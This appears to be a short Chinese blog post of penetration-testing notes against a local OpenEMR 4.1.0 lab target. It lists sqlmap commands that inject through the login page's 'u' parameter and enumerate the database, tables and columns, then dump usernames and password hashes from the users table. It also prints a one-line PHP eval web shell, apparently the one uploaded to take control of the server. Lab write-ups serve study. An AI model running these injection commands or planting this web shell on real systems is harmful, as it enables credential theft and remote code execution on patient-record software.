openemrV4.1.0本地靶机获取其webshell

最新推荐文章于 2024-03-11 17:22:13 发布

h1dm

最新推荐文章于 2024-03-11 17:22:13 发布

阅读量488

点赞数 4

分类专栏：渗透笔记文章标签：安全

本文链接：https://blog.csdn.net/qq_56607768/article/details/117663298

版权

15 篇文章 13 订阅

订阅专栏

提示：一次简单的渗透测试笔记

一、渗透步骤

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

1.下面是sqlmap注入过程（判断是否存在注入点，通过发现是存在sql注入的）：

Sqlmap-u ”192.168.0.105/openemr/interface/login/validateUser.php?u=admin

2.爆数据库名称。

Sqlmap -u ”192.168.0.105/openemr/interface/login/validateUser.php?u=admin” --dbs

在这里插入图片描述
3.爆数据库的表名

Sqlmap -u ”192.168.0.105/openemr/interface/login/validateUser.php?u=admin” -D openemr --tables

在这里插入图片描述
4.爆出列名

Sqlmap -u ”192.168.0.105/openemr/interface/login/validateUser.php?u=admin” -D openemr  -T users --columns

在这里插入图片描述
5.爆出用户名以及密码

Sqlmap -u ”192.168.0.105/openemr/interface/login/validateUser.php?u=admin” -D openemr  -T users -C username,password --dump

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

<?php @eval($_POST['123456']);?>

在这里插入图片描述

在这里插入图片描述

该过程用于自己学习，大佬勿喷

关注